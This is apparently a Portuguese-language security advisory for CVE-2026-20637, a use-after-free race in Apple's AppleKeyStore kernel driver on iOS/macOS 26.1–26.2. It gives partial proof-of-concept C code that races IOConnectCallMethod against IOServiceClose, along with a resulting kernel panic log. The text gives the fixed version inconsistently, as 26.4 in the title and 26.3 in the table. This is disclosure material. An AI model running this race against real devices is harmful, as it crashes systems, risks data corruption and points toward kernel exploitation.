
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — vulnerabilidade do kernel iOS/macOS (corrigida na versão 26.4)
CVE-2026-20637 · Enfilade · enfilade.io
Componente: AppleKeyStore
Impacto: Um app pode ser capaz de causar terminação inesperada do sistema.
Descrição: Um problema de use-after-free foi resolvido com gerenciamento de memória aprimorado.
| iOS | 26.1 – 26.2 (testado) |
| macOS | 26.1 – 26.2 (testado) |
| Componente | com.apple.driver.AppleSEPKeyStore |
| Corrigido | iOS 26.3 / iPadOS 26.3 |
A Apple pode ter corrigido isso incrementalmente entre 26.2.1 e 26.3, portanto, builds intermediárias podem não reproduzir o problema.
Executar o PoC causará kernel panic no dispositivo. Salve seu trabalho antes de executar. Panics repetidos podem causar corrupção do sistema de arquivos. Apenas para fins de pesquisa em segurança.
Use-after-free em IOCommandGate acionado por meio de uma condição de corrida no AppleKeyStore. Oito threads chamadoras martelam IOConnectCallMethod nos seletores 0–15 enquanto quatro threads de fechamento disputam IOServiceClose, criando uma janela em que o command gate é acessado após ter sido liberado.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 threads chamadoras: martelam IOConnectCallMethod (alta prioridade)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 threads de fechamento: disputam IOServiceClose (alta prioridade)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Thread principal: 100k conexões, sem atraso
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// SEM ATRASO — janela de corrida apertada
}
ios-app/Test.xcodeproj no Xcode.panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
Consulte LICENSE.